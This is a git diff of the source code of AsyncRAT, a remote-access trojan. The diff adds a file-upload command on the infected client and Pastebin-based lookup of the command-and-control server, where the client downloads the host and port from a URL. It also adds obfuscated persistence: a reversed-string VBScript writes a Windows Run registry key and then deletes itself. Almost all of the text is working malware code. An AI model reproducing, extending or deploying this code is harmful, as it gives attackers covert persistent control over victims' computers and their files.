100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs @@ -35,18 +35,6 @@ namespace AsyncRAT_Sharp.Properties { } } - [global::System.Configuration.UserScopedSettingAttribute()] - [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Configuration.DefaultSettingValueAttribute("")] - public string DNS { - get { - return ((string)(this["DNS"])); - } - set { - this["DNS"] = value; - } - } - [global::System.Configuration.UserScopedSettingAttribute()] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Configuration.DefaultSettingValueAttribute("")] @@ -61,7 +49,7 @@ namespace AsyncRAT_Sharp.Properties { [global::System.Configuration.UserScopedSettingAttribute()] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Configuration.DefaultSettingValueAttribute("False")] + [global::System.Configuration.DefaultSettingValueAttribute("True")] public bool Notification { get { return ((bool)(this["Notification"])); @@ -82,5 +70,29 @@ namespace AsyncRAT_Sharp.Properties { this["Mutex"] = value; } } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string Pastebin { + get { + return ((string)(this["Pastebin"])); + } + set { + this["Pastebin"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string IP { + get { + return ((string)(this["IP"])); + } + set { + this["IP"] = value; + } + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings index b3dd690..f5f5326 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings @@ -5,17 +5,20 @@ - - - - False + True + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config index 67f88a7..1c149b7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config @@ -13,18 +13,21 @@ - - - - False + True + + + + + + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 66b76a1..4628ff1 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -17,6 +17,6 @@ namespace AsyncRAT_Sharp public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static X509Certificate2 ServerCertificate; - public static readonly string Version = "AsyncRAT 0.4.8B"; + public static readonly string Version = "AsyncRAT 0.4.8d"; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index b1ce66f..ec9bf8f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -131,15 +131,8 @@ namespace AsyncRAT_Sharp.Sockets try { - if (ClientSocket.Connected) - { - ClientSocket.Shutdown(SocketShutdown.Both); - } - } - catch { } - - try - { + ClientSslStream?.Close(); + ClientSocket?.Close(); ClientSslStream?.Dispose(); ClientSocket?.Dispose(); ClientMS?.Dispose(); diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs index a34ea55..6e310a1 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs @@ -12,6 +12,7 @@ using System.Net.Sockets; using System.Security.Authentication; using System.Net.Security; using System.Security.Cryptography.X509Certificates; +using System.Threading; namespace Client.Handle_Packet { @@ -121,8 +122,6 @@ namespace Client.Handle_Packet msgpack2.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(file)); ChunkSend(msgpack2.Encode2Bytes(), Client, SslClient); - Client.Shutdown(SocketShutdown.Both); - Client.Dispose(); } catch { @@ -162,6 +161,69 @@ namespace Client.Handle_Packet } } + public void ReqUpload(string id) + { + Socket Client = null; + SslStream SslClient = null; + try + { + Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); + SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; + msgpack.ForcePathObject("ID").AsString = id; + ChunkSend(msgpack.Encode2Bytes(), Client, SslClient); + + + byte[] sslBuffer = new byte[4]; + MemoryStream sslMS = new MemoryStream(); + int sslSize = 0; + while (Client.Connected) + { + while (sslMS.Length != 4) + { + int read = SslClient.Read(sslBuffer, 0, sslBuffer.Length); + sslMS.Write(sslBuffer, 0, read); + if (read == 0) break; + } + sslSize = BitConverter.ToInt32(sslMS.ToArray(), 0); + sslBuffer = new byte[sslSize]; + sslMS.Dispose(); + sslMS = new MemoryStream(); + while (sslMS.Length != sslSize) + { + int read = SslClient.Read(sslBuffer, 0, sslBuffer.Length); + if (read == 0) break; + sslMS.Write(sslBuffer, 0, read); + sslBuffer = new byte[sslSize - sslMS.Length]; + } + ThreadPool.QueueUserWorkItem(Packet.Read, sslMS.ToArray()); + sslMS.Dispose(); + sslMS = new MemoryStream(); + sslBuffer = new byte[4]; + //SslClient?.Close(); + //Client?.Close(); + //SslClient?.Dispose(); + //Client?.Dispose(); + break; + } + } + catch + { + SslClient?.Dispose(); + Client?.Dispose(); + } + } + private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { #if DEBUG diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs index 50b76b7..6541124 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs @@ -22,7 +22,11 @@ namespace Client.Handle_Packet { try { - Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + SendBufferSize = 50 * 1024, + ReceiveBufferSize = 50 * 1024, + }; Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); SslStream SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index 57f03ba..6faef7f 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -168,6 +168,13 @@ namespace Client.Handle_Packet break; } + case "reqUploadFile": + { + FileManager fileManager = new FileManager(); + fileManager.ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString); + break; + } + case "deleteFile": { string fullPath = unpack_msgpack.ForcePathObject("File").AsString; diff --git a/AsyncRAT-C#/Client/Install/NormalStartup.cs b/AsyncRAT-C#/Client/Install/NormalStartup.cs index 0b53413..6f0b62a 100644 --- a/AsyncRAT-C#/Client/Install/NormalStartup.cs +++ b/AsyncRAT-C#/Client/Install/NormalStartup.cs @@ -1,4 +1,5 @@ using Client.Helper; +using Microsoft.VisualBasic; using Microsoft.Win32; using System; using System.Diagnostics; @@ -43,7 +44,19 @@ namespace Client.Install fs.Dispose(); if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) - Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").SetValue(Path.GetFileName(Settings.ClientFullPath), Settings.ClientFullPath); + { + string tempName = Path.GetTempFileName() + ".vbs"; + string TempPath = Strings.StrReverse(Settings.ClientFullPath); + String TempPathName = Strings.StrReverse(Path.GetFileName(Settings.ClientFullPath)); + using (StreamWriter sw = new StreamWriter(tempName, false)) + { + sw.Write(Strings.StrReverse($@"""ZS_GER"",""{TempPath}"",""{TempPathName}\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"" etirWgeR.llehShsW +)""llehS.tpircSW""(tcejbOetaerC = llehShsW teS")); + } + Process.Start(tempName); + Thread.Sleep(1000); + File.Delete(tempName); + } else { Process.Start(new ProcessStartInfo() diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index cc0fc38..33585d6 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -12,7 +12,7 @@ namespace Client #if DEBUG public static string Ports = "6606"; public static string Hosts = "127.0.0.1"; - public static string Version = "AsyncRAT 0.4.7"; + public static string Version = "AsyncRAT 0.4.8d"; public static string Install = "false"; public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static string Key = "NYAN CAT"; @@ -22,10 +22,11 @@ namespace Client public static X509Certificate2 ServerCertificate; public static string Anti = "false"; public static Aes256 aes256 = new Aes256(Key); + public static string Pastebin = "null"; #else public static string Ports = "%Ports%"; public static string Hosts = "%Hosts%"; - public static string Version = "AsyncRAT 0.4.8B"; + public static string Version = "AsyncRAT 0.4.8d"; public static string Install = "%Install%"; public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%Folder%"), "%File%"); public static string Key = "%Key%"; @@ -35,6 +36,7 @@ namespace Client public static X509Certificate2 ServerCertificate; public static readonly string Anti = "%Anti%"; public static Aes256 aes256; + public static string Pastebin = "%Pastebin%"; #endif @@ -49,6 +51,7 @@ namespace Client aes256 = new Aes256(Key); Ports = aes256.Decrypt(Ports); Hosts = aes256.Decrypt(Hosts); + Pastebin = aes256.Decrypt(Pastebin); Serversignature = aes256.Decrypt(Serversignature); ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate))); return VerifyHash(); diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index 9944d2c..c9eb87f 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -12,6 +12,7 @@ using System.Security.Principal; using System.Net.Security; using System.Security.Authentication; using System.Security.Cryptography.X509Certificates; +using System.Net; // │ Author : NYAN CAT // │ Name : Nyan Socket v0.1 @@ -43,8 +44,24 @@ namespace Client.Sockets ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, }; - Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]), - Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); + if (Settings.Pastebin == "null") + { + Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]), + Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); + } + else + { + using (WebClient wc = new WebClient()) + { + NetworkCredential networkCredential = new NetworkCredential("", ""); + wc.Credentials = networkCredential; + string resp = wc.DownloadString(Settings.Pastebin); + string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None); + Settings.Hosts = spl[0]; + Settings.Ports = spl[new Random().Next(1,spl.Length)]; + Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports)); + } + } if (Client.Connected) { Debug.WriteLine("Connected!");